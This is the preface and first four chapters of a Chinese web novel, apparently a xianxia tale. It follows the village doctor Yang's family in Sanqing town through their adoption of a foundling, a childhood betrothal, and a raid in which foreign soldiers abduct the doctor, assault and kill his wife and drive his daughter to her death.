《心路奇缘》 前言 本棍闲暇时喜欢读书。从专业书籍到画报杂志期刊,从文学经典到诗歌杂谈,有科幻推理,有仙狐精怪,不过本棍最喜欢读的还是网络小说,尤其是仙侠玄幻一类的小说。 某日,下班后的本棍跟平时一样窝在家里看书,宝贝闺女又在淘气了,老婆大人把孩子往我怀里一塞,表示:“看的书不少,你能不能也写一本?” “嗯?……书是写不了,我给你们娘儿俩讲个故事吧……。” 人世间匆匆忙忙,来来往往, 这世上人人都向往强者,强大的人总能得到人们更多的关注。武力上的强者,财富上的强者,权势上的强者,智慧上的强者,等等等等不一而足。但通往强者的路上,注定不会平坦,忍人所不能忍,受人所不能受,有磨难时刻相随,有摧残不时降临,说不好一个不小心还会误了亲亲性命。既要气运加身,又需挚友相助,若是有贵人提携那就再好不过了,不过最重要的还是自身要足够努力。所谓天时,地利,人和,个人的努力和天分,恰在时机的助力,还有那不可多得的机缘,都是却一不可的。不过再强大的人也是血肉之躯,总归还是逃不出一个情字。 我们今天要讲的这个故事就是一个关于强者的故事,故事里有悲欢离合,也有爱恨情仇。既然要讲强者的故事,自然要从这个强者还是弱者的时候说起了……。 第一回 缘起三青镇 第一篇人间风云 风起 中土大地,大周王朝境内。 三阳山南麓有一个小镇,名叫三青镇。虽说小镇的名字叫做三青镇,可它跟庙里供奉的神仙,那高高在上的,传说中的三青道祖可是没有半毛钱的关系。三青镇这个名字是当地县志里对它的官方称呼。之所以叫这么个名字,是因为小镇的后面有一座大山,山上尽是些淡青色的石头,名字呢就叫做大青山。从山沟里流出两条河,一左一右在小镇前汇于一处,河床里也尽是淡青色的沙石,连带着那河水看上去似乎也被染成了青色。山里又出产一种靛青色的矿石,乃是上等的精铁矿石。山青、水青、石头青,于是乎就有了三青镇这样一个称呼。就是这么个三青,跟庙里的神仙没关系。 虽说官方叫它三青镇,但当地的老百姓其实更喜欢叫它的土名:“二岔沟子”。 嗯,怎么会有这么个土不啦叽的名字呢?是因为小镇背靠大青山,坐西朝东,左边一座大山山势陡峭,到处都是悬崖峭壁,叫个猿见愁。右边一座大山山势就平缓了许多,圆鼓鼓的就像个馒头一般,叫个馒头山。 三座大山隔出两条山沟来,大青沟和小青沟。沟里的河就跟着叫大青河,小青河了。小镇就坐落在两条山沟的岔口处,所以就有了“二岔沟子”这么个土里土气的名字。 小镇约么有一两千口人,在当地算是一个大村落了。一条不算多宽的街道从镇子中间穿过。在街道东头的村口处竖了一座牌坊,牌坊的上面挂着一块匾,写着“紫气东来”四个字。据说是以前的某一任县太爷给题写的。年代久了,那上面的金漆都一块块,一片片的掉了不少,还裂了大大小小的几条缝,显得斑驳而陈旧。就连牌坊前那对儿石狮子叼在嘴里的石球也不知道被哪个淘气的孩子给掏去了。 据镇上的老人讲,早年间大周国国力强盛,四方臣服,边界安定,这座小镇正处在官道上,又有着上等的精铁矿石,那时候客商往来十分繁茂。镇上的乡申们为了讨好县太爷,于是就有了这四个字。听说呢,一个字就要一百两银子。 如今,这几十年来大周国君王昏庸,官僚腐败,百姓民不聊生,国力早已大不如当年,边疆自然就不那么安定了。边患不绝,民生凋敝,过往的客商也少,这座小镇也就破败了许多。只剩下那块旧匾额和那对儿连嘴里的石球都看不住的石狮子诉说着当年的几分繁盛。 离街口牌坊约么二三十丈远。有一家药铺。药铺的主人家中几代从医,在这十里八村也算小有名气,主人家姓杨,大家都称呼他为杨大夫。 杨大夫是这一带出了名的老好人。在那个时候,能给人看病拿药的大夫稀缺的很,通常请大夫到家里看病可是要抬着轿子去请的。但杨大夫心眼儿好,不摆谱,有人来请,有轿子就坐着轿子去,没有轿子,牵一头毛驴来,他也跟着去,就算连毛驴都没有,要靠两条腿走着去,他也不会拒绝。久而久之,在乡邻间积攒下了一份好名声。曾有县城和邻镇上的大夫说他这么做是坏了规矩,有辱斯文,杨大夫也只是笑笑,并不与他们争辩。 虽说杨家世代行医,积德行善,和睦乡里,也攒下了一份家业,可这老天爷就是不开眼,到了杨大夫这一辈儿,就单单只剩他一根独苗,到现在三十几岁的人了,也没有个一儿半女的。这杨家也算富裕,除了这间药铺外还有一两百亩田地,其中有一半儿多还是旱涝保丰收的水浇地,更和镇上交好的两家合开了一座矿场。可是这几代人积攒下来的这份家产到现在也没个人来继承。这杨大夫嘴上不说,可心里急呀,旁人劝他纳上一两房妾也好生个一儿半女的,可杨大夫夫妻恩爱说什么也不肯纳妾。故事就从这里开始了。 却说这一天,杨大夫被邻村一个猎户请去为家中的老母亲看病。看完了病,猎户牵着借来的毛驴儿往回送杨大夫。 正走在山林间的小路上,忽然从路旁的树林中窜出一只狼来,狼嘴里还叼着一个灰布包。这只狼一身灰褐色的皮毛油亮光滑,一条蓬松的尾巴,活像一根大扫把,两只眼睛滴溜溜地冒着幽幽的绿光。 这狼猛地窜出来,把毛驴儿给惊着了,咴儿咴儿地乱叫乱蹦着,把杨大夫给摔了个结实。狼吓了驴一跳,驴也把狼吓得不轻,把一身皮毛都炸了起来,狼毛根根倒竖如钢针。 只见那猎户一手抓牢了系在毛驴儿辔头上的缰绳稳住毛驴儿,一手从背后抽出一根短矛来。到底是常年打猎的老手,一甩手,那根短矛正中那狼的后腰。狼吃痛的嗷叫一声,扔下嘴里的布包转身跑入树林中不见了。 猎户见那狼逃远了,忙回身扶起杨大夫说道:“怎么样啊杨大夫,没摔着哪儿吧?”语气中满是关心和歉意。 杨大夫从地上站起来,拍了拍身上的土说道:“不碍事儿,不碍事儿,也不知从哪里来的畜生,别把这驴给惊跑了,回头你不好跟主人家交代。” “杨大夫您可真是仁义的好人呐!都这时候了,还为小人着想……。”杨大夫的话让猎户心里头热呼呼的,感激之情溢于言表。 不等猎户说完杨大夫摆手道:“诶!乡里乡亲的休要见外,去看看那畜生丢下个什么物件。” 猎户把手里的缰绳交给杨大夫,走过去把那头狼留下的布包抱了过来。打开一看,里面竟是一个女婴。女婴约么有两三个月大,这会儿正沉沉的睡着,只是脸色看起来有些发白。杨大夫连忙接过来为怀里的婴儿察看一番,见女婴并无大碍这才放下心来。 猎户知道杨大夫无儿无女便拱手道:“杨大夫呀!这娃儿既在此地被您救了,看来是与您有缘啊!” 杨大夫膝下无子,自然动了收养之心:“也不知是谁家丢的婴儿?这婴儿既是你所救,我却不敢贪功,不如交给你抚养吧?”杨大夫话虽这么说,可也只是嘴上谦让一下,手上却紧抱着那个女婴不放。 猎户忙说道:“杨大夫,我这家中贫苦你是知道的,自家孩子尚且发愁养活,哪里还能养活这孩子?跟着我三餐不济,温饱不周,也是活受罪,抱到您的手里那才是正理儿。” 杨大夫听了这话心里自然是高兴,也不再推辞,连连点头称是。这时那猎户又说道:“那畜生受了我一枪,伤得不轻,肯定走不远,待我把他寻来,剥了皮,割了肉来谢杨大夫。”杨大夫刚刚被那狼吓了一场,哪还敢独自一人在这里等着。于是,跟着猎户两人一起往树林中去寻找那头狼。 跟着血迹走了约有七八十丈远。就见那头畜生倒在地上奄奄一息,狼嘴一张一张的只有进的气儿没有出的气儿。猎户上前三下五去二就把那头狼剥皮割肉宰杀完毕,收好狼皮狼肉,将心肺下水等物扔在一旁。 杨大夫见猎户将狼头留下来,并未与那狼的皮毛分离,就问道:“赵猎户啊,你留着这狼头做什么呢?” 猎户回道:“杨大夫你有所不知,城里的大户人家就喜欢这猛兽的皮毛,要是皮毛完整价钱就能贵上几分,要是再带上一颗完好无损的头颅,那价钱还能翻上一番,这只狼正值壮年,毛发光亮,再加上这颗狼头,一定能卖上个好价钱。”杨大夫“哦”了一声,一副原来如此的样子。猎户又说道:“这次多亏了杨大夫您的福分才能得到这么好的皮毛。” “哪里,哪里,还是多亏了你我才能安然无恙。” 两人边说边收拾好东西往镇上走。 等回到镇上猎户要把狼皮狼肉全部留给杨大夫,杨大夫几番推辞,最后,只留下一点狼肉,剩下的都让猎户带回家去了。 再说杨大夫,自从得了这个女婴后,多方打听也不曾听说附近有哪户人家丢了孩子,这才安心的收养了这个女婴。 自从这女婴到了杨家,两口子是满心里欢喜,连忙置办婴儿所需之物,又找了镇上有奶的妇人喂这孩子吃奶。杨大夫更是整日里把高兴劲儿挂在脸上,连带着气色都好了几分,走路都跟带着风似的。两口子给孩子取了个名字“落儿”,意思是天上落下来的孩子。就把捡到这孩子的那天当作孩子的生日。从此两个人整日里照顾孩子洗刷尿布,又要置办满月酒,忙得不亦乐乎。 也许是好人合该有好报,也或许是老天爷终于开了眼。自从这个女婴到了杨家后,杨大夫家里就是诸事顺畅,又过了四五年,杨夫人竟是有了身孕,十月怀胎产下一个男婴。这下杨大夫就更高兴了,整日里笑得合不拢嘴,脸上都要笑出褶子来了。邻里纷纷来恭喜杨大夫喜得贵子,儿女双全。杨夫人见丈夫高兴成这个样子,就为儿子取个名字“笑”。想要这孩子高高兴兴,平平安安的过一辈子。杨大夫听了这个名字自然是连连说好,语气之中,眉宇之间都充满了对妻子的柔情。 欲知后事如何,且听下回分解。 第二回 情定今生缘 上一回说到杨家先后得了一双儿女。 话说,自从杨家得了这一双儿女后,家中便处处都充满了生机,不时的传来阵阵欢声笑语,就是那婴儿的啼哭声都充满了温馨幸福。为了照顾好两个孩子,又怕累坏了妻子,杨大夫又花钱雇来了两个丫鬟来照顾娘儿仨的饮食起居。 春去秋来。很快,杨笑六个月了。这一天杨夫人正在屋子里哄儿子睡觉。就听见外面传来一阵笑声。“咯咯咯……姐姐可是在屋里呀?”一听这声音,杨夫人就知道是自己的好姐妹,孟家的夫人来了。 孟夫人是杨家对面孟家的夫人,孟家的主人是这小镇上唯一的秀才,人称孟秀才。孟家在镇上也是少有的几个富户之一,经营着几间铺子和铁匠炉,家里还有几百亩地,与杨家和开矿厂的就有这孟家。两家人是对门的邻居,又是世交。杨夫人和孟夫人多有来往,是无话不谈的闺中好姐妹。 杨夫人听到孟夫人的声音连忙答应道:“是妹妹吗?妹妹快些进来,你这回娘家省亲一去就是大半年真是让姐姐我好生想念啊!” “别人不知道,姐姐你还不知道吗?自从我那哥哥到京城去做买卖后,全家人就都搬去了京城,我这来回路上就要花掉两个多月的时间,去一回娘家不容易,当然就多住些日子了。”孟夫人一边说着就进了门。杨夫人赶忙招呼他入座。孟夫人接着说道:“倒是姐姐,这半年不见就给了我一个大惊喜,添了这么个大胖小子,这下老杨可不得乐成一朵花儿啊!”……。 她们两个人的客套话,先放下不表。只说这杨笑,打孟夫人还未进门,在他娘的怀里挣扎着就要直起身子。从孟夫人进门后就眼巴巴的盯着她怀里抱着的那个小女孩儿。那小女孩儿也是眼睛直勾勾的盯着杨笑看。小女孩儿约么一岁多,乃是孟家的小女儿孟云羲。 就听孟夫人说道:“哎呦呦!快让我看看这大胖小子。噫?小小子,你这是眼巴巴的看什么呢?” 杨夫人说道:“你怎么不说你家闺女呢。” “啊?……。” “啊哈哈哈……。你们两个小家伙儿倒是先对上眼了。”见到两个小家伙你看我我看你的,把两双眼睛瞪的滴溜溜的圆,两个妇人齐声笑道。 孟夫人把怀里的女儿报到杨夫人跟前:“快看看你这个弟弟长得好不好看。”谁知道两个小孩儿伸出手一下子就紧紧的抱住了对方,接着就哇哇的放声痛哭起来。孟夫人玩笑道:“好啊!你们两个小家伙儿,不知道的还以为我们两个恶妇要生生拆散你们俩呢。” 杨夫人轻拍了孟夫人一下说道:“就你这张嘴贫。”……。 两个妇人拉了会子家常,孟夫人起身告辞回去了。杨夫人送到院子里,孟夫人忙打发她快回屋里,直到孟夫人出了院门,杨笑还是一个劲儿地盯着那个方向看。 时光如水,岁月如梭。 却说这杨笑是慧心早开,三岁便识字上千,五岁就能读书写字,七岁时就已熟读诸子百家,医学名着,对针石药草也颇为熟识。 虽说在读书学习上让人挑不出什么毛病,可就是有一样,不像他爹那样是个老实人。天生对刀枪棍棒,拳脚功夫十分感兴趣,没事儿就缠着矿场里护矿的拳师学功夫。那些拳师也乐得逗他开心,空闲里就教他个一招半式的,谁曾想这丁点儿大的孩子竟然学的有模有样。 杨笑还特别喜欢到铁匠铺里逛,看着里面叮叮当当的场景,拉起吹火的风箱玩儿的不亦乐乎。经常在里面玩的一身是灰,抹的满脸黑,最后都是被姐姐杨落儿给拧着耳朵拽回家。可是没少让打铁的师傅们看笑话。 这孩子天生的人小鬼大,一肚子的调皮捣蛋。不是抓鸡就是逗狗,不是上树掏鸟窝就是下河摸螃蟹,要不然就是从村口的石拱桥上往河里扎猛子,也就在孟云羲跟前才是个乖孩子。要不是姐姐杨落儿看得紧,说不定都要上房揭瓦了。 杨大夫就这么一个独苗,除了在读书学习上稍微管着点外,其他的小调皮捣蛋也就由着他了。 这一天,杨笑又在铁匠铺里玩的灰头土脸被姐姐揪着耳朵给拽了回来。杨夫人对此早已经见怪不怪了,倒也不生气,只是轻轻地教训了几句,然后让丫鬟给他换一身干净衣服。谁知道这小子一甩手:“不用换了,我还要去跟唐师傅练拳呢,到时候又得弄脏了,下午去找云姐姐玩儿的时候再换吧。” 杨落儿手上一使劲儿,疼的杨笑直裂嘴:“还想去找云羲?就你这个脏样子,云羲都要嫌弃你了。” 杨笑一听这话连忙叫道:“啊?可不能让云羲看道了,快给我换一身衣服。”杨落儿骗杨笑现在就要去告诉云羲。杨笑连忙哀求道:“好姐姐求你了。千万别告诉云羲。” 杨夫人打断他两个的胡闹,说道:“笑儿,下午不许乱跑了,洗个澡换一身干净衣服,我带你去云羲家里给老太君问好。明天是老太君的寿辰,孟家要搭台唱戏给老太君贺寿,等明天我再带你去给老太君贺寿。” 听到这话,杨笑拍着手高兴道:“哦,哦,去找云姐姐玩儿喽。”一旁的杨落儿一拽耳朵说道:“一晌不见你的云姐姐就想成这个样,我天天陪着你也不见你说我一个好。”杨晓疼得龇牙咧嘴。连忙赔着笑求饶:“姐姐,姐姐你也是最好的,最好的,嘿嘿……。” 第二天,孟家张灯结彩好不喜庆,比过年的时候还要热闹。孟家大院内搭台唱戏,招待亲朋。 今天是孟老太君的八十大寿。常言道:人生六十古来稀。这孟老太君活到八十岁了身子骨还十分硬朗,耳不聋,眼不花,当真是古稀中的古稀。孟老太君身形略有些富态,慈眉善目,满面红光。众宾客都来给老太君贺寿,老太君笑着一一点头还礼。 前边院子里贺寿贺的热闹,后边院子里几个小孩儿玩儿的也挺欢。几个顽童过家家,玩起了拜堂成亲的游戏。杨笑扮作新郎,孟云羲扮上了新娘。几个孩子有模有样的学着大人的样子,拜完了天地要揭红盖头。杨笑伸出双手轻轻地掀开了孟云羲头上的红盖头。 云羲打小就长的惹人喜欢。一双眉毛又细又长,一对好看的眸子闪着灵光,瑶额光洁,琼鼻微挺,一点朱唇又红又润,那双眼睛又大又圆,笑起来就变成了好看两弯月牙,小脸儿带着些婴儿肥,白皙红润,仿佛一掐就能掐出水来一样。再有贴身的婢女给他略施了些粉黛,真真的是个美人胚子。 杨笑呆呆的望着云羲说道:“云姐姐你可真美啊!等我长大了,能不能娶你做新娘子呀?” 孟云羲认真的想了想说道:“嗯……那你只能对我一个人好。” 杨笑忙不迭地点头。 云羲又说:“那你须发个誓言。” 杨潇立刻举手说道:“我发誓,只对云姐姐好。” 云羲很是认真地点点头:“好吧,我同意了。” 这时候从另外一边传来了一阵笑声。 原来是孟秀才和几个亲友在前院听完戏后觉得还是不够尽兴,回到内院里打算畅饮一番,于是刚好看到了刚才的一幕。谁又能想到从两个小孩子口中会说出这么一番话来,直引得众人哈哈大笑。 众人当中一个方面厚唇,身上有好多肥肉的男人上前对杨笑问道:“杨家小子,你刚才所讲可是当真?” 杨笑转过身先是一礼,虽说杨笑顽皮,但在礼节方面却从来不曾缺了。杨笑站直身子后说道:“回世伯,笑儿刚才所言句句真心。”举止间处处得体,不失礼数。 那人又学孟云羲说道:“嗯……那你须发个誓言。” 杨笑就一本正经的一手指天三指并拢发起誓来:“杨笑起誓,方才所言句句是真。”说起话来奶声奶气的,那认真的小模样逗得大家又发出一阵笑声,连孟老太君都被逗的笑出眼泪来了。 这个男人人称刘管事。三青镇这么好的矿山,官府自然要插上一手,大青山上最大的矿场就是官办的矿场,这刘管事就是官府指派的管事人。孟、杨两家合开的矿场就是由此人承头三家合开的。 刘管事听杨笑发完誓后回身对孟老太君拱手道:“老太君,刘某人在这儿冒昧做个媒人,撮合你孟、杨两家做个姻亲,不知老太君意下如何?” 孟家老太君也是看着杨笑长大的,打心眼儿里对这个孩子也喜欢得紧,孟老太君没有多想便点头应道:“嗯,这桩亲事好!我老太婆做了这个主了,就替我这重孙女应下这门亲事。”老太君一扭头叫一声:“孙儿!” 孟秀才听到老太君叫自己连忙上前躬身说道:“全凭奶奶做主。” 刘管事又对杨大夫说道:“杨贤弟意下如何?” 杨大夫自然是愿意的,赶紧拱手道:“多谢老太君,多谢刘兄,我杨家自然是十分的愿意。” 杨夫人和孟夫人也上前行礼“多谢老太君\/奶奶,多谢刘管事。” 刘管事捧着肚子哈哈笑道:“既如此,我这媒人做定了,到时候我可要讨上一杯喜酒,拿上一份大大的媒人礼啊!哈哈……。” 众人又都来恭贺:“恭喜老太君双喜临门。” 没过多久,两家便请人看了吉日,过了聘礼,定下了这门亲事。 欲知后事如何,且听下回分解。 第三回 无端遭横祸 却说自孟、杨两家结为亲家之后,两家的来往就更加密切了。 冬去春来,这一年杨笑十岁了,已然稍稍的显露出了翩翩美少年的风范。在杨大夫的言传身教下,对一些伤痛医治以及药草学识也都更加熟悉了,时不时的还能给杨大夫打一个下手。内外妇儿都有涉猎,尤其是在伤科上更是熟练。 孟云羲也已长成远近闻名的小美人儿。眼见两人郎才女貌,情投意合,青梅竹马,两小无猜。两家便合计着等再过个两三年就把两人的婚事办了,也好了了两家人的心愿。(列位看官不必惊讶,彼时十四五岁就结婚生子也是很平常的事情。) 时至早春,天气未暖。这一天杨大夫正在药铺里坐诊,忽然听到外面一阵喧闹。有一队人马来到杨家药铺门前,呼前喝后的进来十多个人,一个个的全都是提刀挚枪,身穿甲胄,乃是一队周王朝的士兵。为首一人后背及一条大腿上甲胄破开,皮肉外翻,鲜血淋漓,被人扶着走了进来。 刚一进门就有一个士兵提着刀高声喝骂道:“他娘的哪个是大夫?还不快点出来给我家大哥看伤。” 杨大夫见这情形早从柜台后边一溜小跑出来,一边点头哈腰一边走上前去拱着手说道:“列位军爷小人便是本处的大夫……。” 谁知道不等杨大夫把话说完,就被那士兵一把揪住衣领:“少他娘的废话,快点儿看伤!”说着一把就将杨大夫推倒那受伤的首领跟前。 杨大夫只得赶紧为那首领治伤。好在伤口虽深却不曾伤到筋骨,以杨大夫的手艺不肖一会儿功夫就处理完毕。 那首领看了看包扎好的伤口,试着活动了一下身体,结果牵动伤口把自己疼得直咧嘴。 “你这个郎中的手艺还真不错。我说,你看军爷我在前方跟那帮蕃族蛮夷血战,嗯,还负了这一身的伤,我说,你是不是该拿些银钱出来犒劳一下军爷呢?嗯?” 杨大夫听到这句话先是愣了一下,心想:“包扎完伤口不给钱就算了,怎么还要起钱来了?” 不等杨大夫开口说话,旁边一个士兵就厉声喝道:“还愣着干什么?还不赶紧拿钱!” 杨大夫哪儿还敢怠慢,赶紧到柜台里面包了几两碎银子,一边陪着笑脸,嘴里赔着不是连声说着“军爷辛苦”,一边双手递上了那包碎银子。 那首领掂了掂银子冷笑道:“就这么点儿钱?”说着脸色就是一变,厉声道:“你打发叫花子呢!嗯!?”其余的士兵也连声呼喝威胁。 杨大夫没办法,只好又拿了些钱出来,谁知道这帮家伙还是不满意。杨大夫只得求饶道:“列位军爷,小店是小本儿买卖,实在没有多少钱,柜上的钱都在这里了,还请军爷们高抬贵手啊!”一边说着一边连连作揖。那些士兵仍是不依不饶。杨大夫又说:“军爷们要是不满意。柜上还有些许细药,也请军爷一并拿去。” 那首领一瞪眼:“什么?药?你他妈咒军爷我呢?” 杨大夫真是有苦难言呀!这些当兵的哪里知道细药是什么东西,只知道它是药,却不知道它的贵重。 杨夫人在后院听到前面铺子里吵闹不休,就走出来想要看看是怎么一回事。见到这般情形忙上前说道:“各位军爷且请息怒,我家这没用的并不管账,待我为军爷取来,定教军爷们满意。” 很快,杨夫人就从后面拿了一袋子钱出来,那首领掂了掂钱袋子这才露出了笑脸:“还是你这个妇道人家懂事儿。”转头又对杨大夫说道:“学着点!” 杨夫人做了个万福:“都是军爷大度,不跟我们计较。” 那首领点头笑道:“嗯……呵呵……上道!上道!哈哈……。” 这时候,一个士兵从外面跑了进来,在那首领耳旁说了几句什么。那首领惊道:“什么?那些畜生竟然追到了这儿?”说着眼珠子转了转,然后一挥手:“走!” 哗啦啦,一帮人这才纷纷上马绝尘而去。 一伙人一来一去,踢翻了好些药铺里外的桌椅板凳还有瓶瓶罐罐,等那些士兵走远后,杨家人也只能重新收拾药铺。遇到这种事也是没办法,只当是破财消灾了。 过了约么有一盏茶的时间,外面又是一阵吵闹呼喝声并伴有马蹄声。杨大夫心想:“今天这是怎么了,怎么来了一波又一波?”这时一个药铺的伙计惊慌失措的从外面跑了进来:“杨大夫,快!快!是蕃邦蛮子来了!” “啊!快!快关门!” 不单是杨家的药铺,满大街的大门小户都在忙着关窗闭户。 一队人马从街上狂奔而过,掀起满街的烟尘,径直追那一队周王朝的士兵去了。 不一会儿,马蹄声渐渐远去。 众人这才松了一口气。有人说道:“这世道真是变了,早年间这帮藩族蛮夷哪敢这般造次。”有人叹息道:“哎!我大周朝不复从前咯。”也有人愤愤道:“净是些贪官当道,帝王又昏庸,谁管百姓的死活。”旁边有人连忙提醒道:“你不要命了?被有心人听到了,还不拿你去见官!” 就这样,又过了大概一炷香的时间。就在大家都以为这场风波就这么过去了的时候,谁知那队蕃族人马又去而复返。原来这些蕃族人追了一阵后没有追上前面的那些周王朝士兵,又不敢太过深入,就沿着原路又返了回来。于是,小镇上又是一阵慌乱。 轰隆隆……。 一阵马蹄声过后,这队蕃族人马停在了杨家药铺门前,约莫有三五十人的样子。几个蕃族士兵上前三两脚踹开了药铺的门板。呼啦啦涌进来一堆人,挤满了不大的药铺。这些蕃族人一个个凶神恶煞,膀阔腰圆,身披麻布兽皮,手里提着雪亮的弯刀。 药铺的伙计吓得连忙躲在柜台后面瑟瑟发抖。杨大夫硬着头皮上前作揖道:“列位军爷,可有什么地方需要小人效力的?” 当前一人提刀一指杨大夫:“刚才是你给那些人治的伤?”开口居然是一口流利的周王朝官话。 杨大夫一听这话吓的脸都白了,连忙求饶道:“小人也是被逼无奈啊!还请军爷们饶命,饶命啊!” 有了先前的教训,杨大夫这回也学机灵了:“小人愿为各位军爷送上一份薄礼,还请军爷们不要为难小人。”杨大夫继续求饶道。 这时,一个魁梧大汉拨开前面的几个人来到杨大夫跟前。 这大汉是这队蕃族士兵的首领。 蕃兵首领看了看杨大夫问道:“你是这里的大夫?” 杨大夫连忙回答:“小人正是这间药铺的大夫。” “你们这里一共有几个大夫?” “回军爷,本镇只有小人一个大夫。” 那人又上下打量了杨大夫一遍,说道:“我那军寨里正好缺一个大夫,你可愿随我回去效力?” 杨大夫听到这句话顿时吓的魂儿都要飞出来了,连忙跪在地上求饶:“军爷啊,小人一家老小全指望着小人养活呢,还望军爷开恩,能饶过小人呀!” “军爷若是看上了什么请尽管拿去只求军爷能放过小人……。”杨大夫不断的磕头求饶着。 那大汉双眉一提:“少啰嗦,给我绑了!”立刻有人上来,给杨大夫来了个五花大绑。杨大夫反抗不过,只能被绑在地上连声求饶。 杨夫人在院子里听到前面又在吵闹,只当是那些周王朝的士兵去而复返,就再到来前面来看看。开门就见自家男人被绑在了地上。 杨夫人年轻时也是远近闻名的俊俏人物,再加上这些年来保养得当,虽说上了些年纪却也是半老徐娘风韵犹存。还不待她说什么,那为首的蕃族人看到杨夫人便说道:“这个妇人倒是有些姿色,老子连日征战好些日子不曾尝过女人的滋味儿了,我也不嫌你岁数大,今天就先在你身上解解乏。” 杨夫人闻听此言吓得魂不附体,连忙转身就往后院跑去。 那蕃兵首领带了几个人直往后追去。 杨大夫也只能躺在地上哭喊求饶。 杨夫人逃到后院,见落儿正在院内与两个丫鬟浆洗衣物,急忙喊道:“落儿,快跑!”身后,那帮番族士兵早已紧追而来。 几个蕃兵追到了院中,抬脚踢飞了院内晾晒药材的篦筐。蕃族首领一眼就看到了院中的杨落儿。这时的杨落儿已然十五六岁,正是待字闺中的时候。出落得亭亭玉立,俊俏可人,白白净净,水灵灵的。那蕃族首领见到杨落儿这般模样更是喜欢:“哈哈,这里还有这样标志的美人儿,一定不能放过。快,给我抓住她!” 杨落儿和两个丫鬟早转身往后门跑去。奈何杨落儿跑得慢了些,还没跑几步就被几个蕃兵堵在了院中无处可逃。 几个蕃兵把杨落儿围在中间,一边说着不堪入耳的下流话,一边慢慢的靠近。杨落儿只能一步步的后退。一不小心,脚下被什么东西绊了一下,一下子坐倒下去。 原来是院子里的井台。 那蕃兵首领色迷迷的说道:“小美人儿,别怕,军爷我会疼你的。”其他几个蕃兵也是跟着一阵坏笑。 杨落儿看看几个满脸淫笑的蕃兵,又看了看身后的水井,心知今日不会善终,于是,一咬牙转身一头栽进了身后的水井里。 那蕃军首领见杨落儿要跳井连忙上前几步伸手去抓,却还是迟了一步,只扯下杨落儿的一角衣衫。 蕃军首领攥了攥手里的布片,啐了一口恨恨道:“这该死的小婊子怎么就跳井了,让爷爷我痛快一会儿再死也不迟吗!”说着提起旁边的一只水桶丢进了水井里。蕃兵首领拍了拍手转身说道:“没了小的,还有老的。” 另一边,杨夫人被追的跑进了房间内连忙关上了房门。可那薄薄的一层房门又怎么能挡住这些凶恶的蕃兵。蕃兵们几下便踹开房门冲进了屋内。杨夫人跌倒在地,被一步步的逼到了角落里。蕃兵首领上前一把抓去“我看你还往哪儿跑。” 杨夫人躲闪不及,被蕃兵首领抓住一把扔在了床上。蕃兵首领起身就往杨夫人身上扑。杨夫人挣扎不已。另外几个蕃兵也上前抓手的抓手,按腿的按腿。一时间杨夫人就被按在床上动弹不得。 这时候,杨笑冲了进来。见到自己的母亲受辱,大骂道:“该死的蕃狗快放开我娘!”边骂边上前去拉那些蕃兵。 可他一个十岁的孩子又怎么可能是这些蕃兵的对手。其中一个蕃兵不耐烦,一扬胳膊就把杨笑撩到了一边,旁边一个蕃兵又补上一脚直踹的杨笑蹬蹬蹬后退几步,一头撞在了柜角上。 杨笑被撞的头破血流,却又挣扎着站起身来,只觉得天旋地转,脑鸣不止,一颗心扑通扑通的仿佛要从胸膛里面跳出来似的,耳朵里除了自己粗重的呼吸声再也听不见别的任何声音了。杨笑看着那些蕃兵们在床上撕扯着母亲的衣服,他们那一副副嘴脸上的表情是那么的丑陋可恶。他探出一只手臂,他多想要一把将他们全都撕成碎片。他想要往前迈步,可双腿却又不听使唤。杨笑颤颤巍巍的晃了几晃后眼前一黑,便一头栽倒在地上昏死了过去。 那蕃兵首领压在杨夫人身上伸手扯开她的衣领,只见肌肤白皙,酥胸半露,直把他看的眼都要花了,馋得他口水都要流下来。蕃兵首领俯身就往杨夫人的脖颈和胸脯上亲去。 杨夫人尖叫着,挣扎着,在挣扎中她一口咬住了那蕃兵首领的一只耳朵。 蕃兵首领疼得受不了,连连怪叫。 杨夫人死咬不放。 那蕃兵首领挣了几下没挣脱,疼极了的蕃兵首领一连打了杨夫人几巴掌,然后伸手一把掐住了她的脖子。 杨夫人死死的咬住了他的耳朵就是不松口。最后被掐的喘不过气来的杨夫人用尽了浑身力气一扯,把那蕃兵首领的半只耳朵给扯了下来。 那蕃兵首领翻身下床,疼得在地上直跳脚,伸手一摸,摸了满手的血。 那只耳朵大半都被杨夫人给咬了下来。 蕃兵首领大怒,怪叫一声跳到杨夫人身上又狠狠的抽了她几个巴掌。只是打几巴掌又怎么能消得了他的怒火,接着蕃兵首领抽出腰间的佩刀一刀劈了下去。 一刀就从杨夫人的肩膀劈到了当胸。 杨夫人口鼻冒血,胸前更是血流如注,半边身子都被染红了。杨夫人张了张嘴却发不出半点声音来,就这样一命呜呼了。 蕃兵们回到前面药铺,杨大夫见其中几人一身是血,知道家中已遭不测,立时涕泪横流,把那些蕃兵的祖宗十八代都骂了个遍。 可就是再骂又有什么用呢? 蕃兵首领也不理会他,找出棉布把耳朵包扎一番后命令道:“把这里的药全都装了。”接着他又来到大街上抽出钢刀叫道:“给我抢!”众蕃兵高呼一声,提刀到各户人家抢劫起来。 因为太过深入,怕周军杀回来,蕃兵们在抢了镇上几个商铺后就把杨大夫架上马背,带了抢来的财物匆匆地离去了。 杨家无端的遭了这般横祸,接下来又会有什么样的事情发生呢? 欲知后事如何,且听下回分解。 第四回 祸不单行 上一回说到一队蕃兵在三青镇一番烧杀劫掠后扬长而去。 等这些蕃兵走远了,镇上的居民们才敢陆陆续续的从藏身之处走出来。于是那些家中遭了殃的,哭声骂声连成了一片。有骂蕃兵猪狗不如的;有骂朝廷腐败无能的;……。可再骂又有什么用呢?着起来的火还是得赶紧灭;毁坏了的房屋还是要修;至于那死了的人该埋葬的还是得埋葬。 这边杨笑被人救醒,看到母亲躺在床上衣衫凌乱,前胸一道伤口触目惊心,鲜血流的床上、地上到处都是,嘴里还死死的咬着那半只耳朵死不瞑目。母亲挣开的双眼中,透过那空洞的眼神仿佛还能看那到满腔的仇恨。 杨笑看到这般情景,不禁跪在床前失声痛哭。一个十岁的孩子就惨遭家破人亡的祸事,就是旁人见了也要暗自落泪。 众人都上前劝慰,又哪里劝得住,等杨笑哭累了,有人上前劝道:“杨笑啊,现在可不能只顾着哭呀,还是让你娘早些入土为安才是要紧的事。”杨笑这才止住了哭声,上前用衣袖擦去母亲脸上的血迹。又费了好大的劲儿才把那半只耳朵从母亲的嘴里给拽了出来。看着那半只耳朵,杨笑悲愤交加,不禁又哭了起来,直哭得嗓子都哑了。 